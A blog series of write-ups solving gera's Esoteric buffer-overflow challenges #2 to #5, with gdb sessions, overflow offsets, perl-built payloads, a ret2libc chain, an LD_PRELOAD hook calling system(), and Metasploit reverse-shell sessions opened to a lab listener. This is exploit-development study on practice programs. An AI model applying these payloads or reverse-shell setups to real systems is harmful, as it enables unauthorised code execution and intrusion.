Thursday, December 27, 2012

Esoteric #5

gera's Esoteric #5. 

/* e5.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* is this possible?                                         */

char buf[256];

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        perror(argc[2]);
        while(1);
}


Needs to be compiled statically to get anywhere. It takes 268 bytes to overflow buf in a useful way.

(gdb) run `perl -e 'print "A" x 268 . "BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es5/es5 `perl -e 'print "A" x 268 . "BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) bt
#0  0x42424242 in ?? ()
#1  0x08048a1d in _IO_new_fdopen (fd=5, mode=0x80a2196 "w+") at iofdopen.c:121
#2  0x08048795 in perror (s=0x0) at perror.c:73
#3  0x0804820e in main (argv=2, argc=0xbffffa64) at es5.c:10
#4  0x080482fa in __libc_start_main (main=0x80481e0 <main>, argc=2,
    ubp_av=0xbffffa64, init=0x80480b4 <_init>, fini=0x8092620 <_fini>,
    rtld_fini=0, stack_end=0xbffffa5c) at ../sysdeps/generic/libc-start.c:129


At buf+268 is the same function pointer as in Esoteric #3, this time via perror(). 

(gdb) x/x buf+268
0x80a8d4c <__libc_internal_tsd_get>:    0x42424242


Exploit. 

[dennis@localhost es5]$ export ES5=`perl sc.pl`
[dennis@localhost es5]$ gcc -o ev5 ev5.c
[dennis@localhost es5]$ ./ev5
ES5 is at 0xbffffc28
[dennis@localhost es5]$ ./es5 `perl -e 'print "A" x 268 . "\x28\xfc\xff\xbf"'`

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.32
[*] Command shell session 2 opened (192.168.0.4:4444 -> 192.168.0.32:49773) at 2012-12-27 14:58:46 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/es5

Esoteric #4


gera's Esoteric #4. 

/* e4.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* %what the hell?                                           */

char buf[256];

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        printf("live at 100%!");
        while(1);
}


As with the last one, this needs to be compiled statically to make progress.

[dennis@localhost es4]$ gcc -static -ggdb -o es4 es4.c
[dennis@localhost es4]$


1409 bytes are required to overflow buf in a useful way. 

(gdb) run `perl -e 'print "A" x 516 . "BBBB" . "C" x 889'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es4/es4 `perl -e 'print "A" x 516 . "BBBB" . "C"
x 889'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) bt
#0  0x42424242 in ?? ()
#1  0x080486a4 in printf (format=0x808db88 "live at 100%!") at printf.c:33
#2  0x0804820b in main (argv=2, argc=0xbffff594) at es4.c:10
#3  0x080482f6 in __libc_start_main (main=0x80481e0 <main>, argc=2,
    ubp_av=0xbffff594, init=0x80480b4 <_init>, fini=0x808db60 <_fini>,
    rtld_fini=0, stack_end=0xbffff58c) at ../sysdeps/generic/libc-start.c:129


At buf+516 we're in the middle of a data structure called __printf_arginfo_table. Per a comment in  ~/glibc-2.2.4/stdio-common/reg-printf.c this is an "Array of functions indexed by format character." I didn't trace the libc code, but I'm assuming that buf+516 points to the corresponding array index if the format character is "!". 

(gdb) x/x buf+516
0x80a3b84 <__printf_arginfo_table+132>: 0x42424242


Exploit. 

[dennis@localhost es4]$ export ES4=`perl sc.pl`
[dennis@localhost es4]$ ./ev4
ES4 is at 0xbffffc28

[dennis@localhost es4]$ ./es4 `perl -e 'print "A" x 516 . "\x28\xfc\xff\xbf" . "C" x 889'`

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.32
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.32:49768) at 2012-12-27 14:30:30 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/es4

[*] Command shell session 1 closed.  Reason: Died from EOFError

Esoteric #3 Redux

An old Chinese forum post reminded me that I didn't look at a statically compiled version of gera's Esoteric #3. 

[dennis@localhost es3]$ gcc -static -ggdb -o es3 es3.c
[dennis@localhost es3]$


Things are a bit different this time. 

(gdb) run `perl -e 'print "A" x 256 . "BBBB" . "CCCC" . "DDDD" . "EEEE"'` ZZZZ
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es3/es3 `perl -e 'print "A" x 256 . "BBBB" . "CCCC" . "DDDD" . "EEEE"'` ZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
(gdb) bt
#0  0x45454545 in ?? ()
#1  0x0804a36b in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3350
#2  0x0804a0ab in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3331
#3  0x0804866d in __add_to_environ (name=0x808db88 "ABO",
    value=0xbffffc71 "ZZZZ", combined=0x0, replace=1)
    at ../sysdeps/generic/setenv.c:234
#4  0x080488b2 in __setenv (name=0x808db88 "ABO", value=0xbffffc71 "ZZZZ",
    replace=1) at ../sysdeps/generic/setenv.c:263
#5  0x08048215 in main (argv=3, argc=0xbffffa64) at es3.c:10
#6  0x080482fe in __libc_start_main (main=0x80481e0 <main>, argc=3,
    ubp_av=0xbffffa64, init=0x80480b4 <_init>, fini=0x808db60 <_fini>,
    rtld_fini=0, stack_end=0xbffffa5c) at ../sysdeps/generic/libc-start.c:129


At buf+268 a useful function pointer get overwritten. 

(gdb) break 10
Breakpoint 3 at 0x80481fe: file es3.c, line 10.
(gdb) run `perl -e 'print "A" x 268 . "BBBB"'` ZZZZ
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es3/es3 `perl -e 'print "A" x 268 . "BBBB"'` ZZZZ

Breakpoint 3, main (argv=3, argc=0xbffffa64) at es3.c:10
10              setenv("ABO",argc[2],1);
(gdb) x/x buf+264
0x80a3a88 <__libc_internal_tsd_set>:    0x41414141
(gdb)
0x80a3a8c <__libc_internal_tsd_get>:    0x42424242


(gdb) print __libc_internal_tsd_get
$2 = (void *(*)()) 0


As can be seen from the earlier backtrace, setenv() eventually calls realloc(). I didn't trace the libc code, but there has to be a code path from realloc() where it calls __libc_internal_tsd_get().

Onto the exploit. I start off with some shellcode in the environment. (I could of probably taken advantage of the ABO variable from the program itself, but it's easier to find the address this way.) 

[dennis@localhost es3]$ export ES3=`perl sc.pl`
[dennis@localhost es3]$ ./ev3
ES3 is at 0xbffffc28


The rest looks like this. 

[dennis@localhost es3]$ ./es3 `perl -e 'print "A" x 268 . "\x28\xfc\xff\xbf"'`

...

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.32
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.32:49704) at 2012-12-26 23:40:41 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/es3



Wednesday, December 26, 2012

Esoteric #3

gera's Esoteric #3.

/* e3.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* are you an enviromental threat                            */

char buf[256];

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        setenv("ABO",argc[2],1);
        while(1);
}

I might of cheated a bit with my solution, but I feel that maybe when this challenge was written that the version (even older than the glibc 2.2.4 I'm using for these examples) of setenv() used was more prone to memory corruption.

When ABO is not initially set, here's what the environ pointer and the area near the end of buf looks like after the strcpy() overflow.

Breakpoint 1, main (argv=3, argc=0xbffff974) at e3.c:10
10              setenv("ABO",argc[2],1);
(gdb) x/x environ
0xbffff984:     0xbffffc76

...
0x8049750 <buf+208>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049790:      0x41414141      0x41414141      0x41414141      0x41414141
0x80497a0:      0x41414141      0x41414141      0x41414141      0x41414141
0x80497b0:      0x41414141      0x41414141      0x41414141      0x41414141
...

environ still points to the stack, and buf has been overflown with As. Here is after setenv().

Breakpoint 2, main (argv=3, argc=0xbffff974) at e3.c:11
11              while(1);
(gdb) x/x environ
0x8049788:      0xbffffc76

...
0x8049740 <buf+192>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049750 <buf+208>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x00000061      0xbffffc76      0xbffffc8b
0x8049790:      0xbffffcaa      0xbffffccc      0xbffffcd8      0xbffffe9b
0x80497a0:      0xbffffeba      0xbffffed6      0xbffffeeb      0xbffffef6
0x80497b0:      0xbfffff05      0xbfffff0d      0xbfffff19      0xbfffff29
0x80497c0:      0xbfffff37      0xbfffff48      0xbfffff56      0xbfffff68
0x80497d0:      0xbfffff73      0xbfffffa6      0x080497e8      0x00000000
0x80497e0:      0x41414141      0x00000011      0x3d4f4241      0x42424242
0x80497f0:      0x41414100      0x00000019      0x080497e8      0x00000000
0x8049800:      0x00000000      0x41414141      0x41414141      0x000007f9
0x8049810:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049820:      0x41414141      0x41414141      0x41414141      0x41414141
0x8049830:      0x41414141      0x41414141      0x41414141      0x41414141
...

The environ pointer now points out to heap land (0x8049788). At this address, the environment has been copied from the stack and placed into some malloc()'d memory. At 0x80497d8, in the env array, is the pointer to the new ABO variable--which also resides in a malloc() chunk.

(gdb) x/s 0x080497e8
0x80497e8:       "ABO=BBBB"

When ABO is already initialized, after the strcpy(), things are the same. But, after the setenv().


(gdb) x/x environ
0xbffff964:     0xbffffc6d
(gdb)
0xbffff968:     0x08049788
(gdb)
0xbffff96c:     0xbffffc8b

The environ pointer still points to stack space. Now just the second entry in the env array points to heap land. It looks like this.

(gdb) x/s 0x08049788
0x8049788:       "ABO=BBBB"

So, setenv() just replaces the original ABO pointer with a pointer to malloc()'d memory.

Near the end of buf it looks like.

...
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x00000011      0x3d4f4241      0x42424242
0x8049790:      0x41414100      0x00000019      0x08049788      0x00000000
0x80497a0:      0x00000000      0x41414141      0x41414141      0x00000859
0x80497b0:      0x41414141      0x41414141      0x41414141      0x41414141
...

Regardless of how, what, or with what I overflowed buf, I was unable to corrupt the setenv() data structures in my favor.

I got a shell by creating my own setenv() function in a shared object and hooking it in via LD_PRELOAD.

dennis@ipa:~/es3$ cat setenv.c                                               
#include <stdlib.h>

int setenv(const char *name, const char *value, int replace)
{
        system(value);
}

[dennis@localhost es4]$ gcc -shared -o setenv.so setenv.c
[dennis@localhost es3]$ LD_PRELOAD=./setenv.so ./e3 foobar /bin/sh
sh-2.05$ id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
sh-2.05$ pwd
/home/dennis/es3
sh-2.05$ exit
exit

[dennis@localhost es3]$

Sunday, December 9, 2012

Esoteric #2

gera's Esoteric #2.

/* specially crafted to feed your brain by gera@core-sdi.com */

/* Now, your misson is to make abo1 act like this other program:
 *
        char buf[100];

        while (1) {
                scanf("%100s",buf);
                system(buf);
        }

 * But, you cannot execute code in stack.
 */

int main(int argv,char **argc) {
        char buf[256];

        strcpy(buf,argc[1]);
}

I started by sticking the scanf() format string into the environment and getting its address.

shell$ export ES2=%100s
shell$ ./ev2
ES2 is at 0xbffffc83

I used a chained ret2libc exploit to avoid executing code from the stack. The buffer looks like this.

[268 As][scanf addr][pop/pop/ret addr][fmt str addr + 1][buf addr][system addr][exit addr][buf addr]

The pop/pop/ret widget is used to adjust the stack pointer and skip over the fmt str and buf addresses on the stack. This aligns everything so ret will load system()'s address into EIP.

1 is added to the fmt str address to skip over the '=' sign in the environment variable.

Here's how the addresses were gathered.

(gdb) print scanf
$1 = {int (char *)} 0x4008d274 <scanf>
(gdb) x/i 0x080484bd
0x80484bd <__do_global_ctors_aux+45>:   pop    %ebx
(gdb)
0x80484be <__do_global_ctors_aux+46>:   pop    %ebp
(gdb)
0x80484bf <__do_global_ctors_aux+47>:   ret
(gdb) x/s 0xbffffc84
0xbffffc84:      "%100s"
(gdb) x/x 0xbffffc94
0xbffffc94:     0x6c006469
(gdb) x/s 0xbffffc94
0xbffffc94:      "id"
(gdb) print system
$2 = {<text variable, no debug info>} 0x40076584 <__libc_system>
(gdb) print exit
$4 = {void (int)} 0x400583a4 <exit>

I found the pop/pop/ret widget via.

shell$ objdump -d --section='.text' es2 | grep ret -B 3 | grep
pop -A 3 | more

Here is everything in action.

(gdb) run `perl -e 'print "A" x 268 . "\x74\xd2\x08\x40" . "\xbd\x84\x04\x08" .
"\x84\xfc\xff\xbf" . "\x94\xfc\xff\xbf" . "\x84\x65\x07\x40" . "\xa4\x83\x05\x40
" . "\x94\xfc\xff\xbf"'`
Starting program: /home/dennis/es2/es2 `perl -e 'print "A" x 268 . "\x74\xd2\x08
\x40" . "\xbd\x84\x04\x08" . "\x84\xfc\xff\xbf" . "\x94\xfc\xff\xbf" . "\x84\x65
\x07\x40" . "\xa4\x83\x05\x40" . "\x94\xfc\xff\xbf"'`
sh
sh-2.05$ id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
sh-2.05$ ls
es2  es2.c  ev2  ev2.c  notes  out
sh-2.05$ exit
exit

Program exited normally.

I feel I cheated a bit by launching the shell, but I spent a lot of time trying to get the while(1) loop implemented in either a recursive main() call or via ROP widgets without success. Using the recursive main() call I was able to get 2 iterations before the stack got too corrupted (from the address chains). For the ROP technique, I wasn't able to find proper widgets to manipulate ESP or EBP in a way to cause a loop.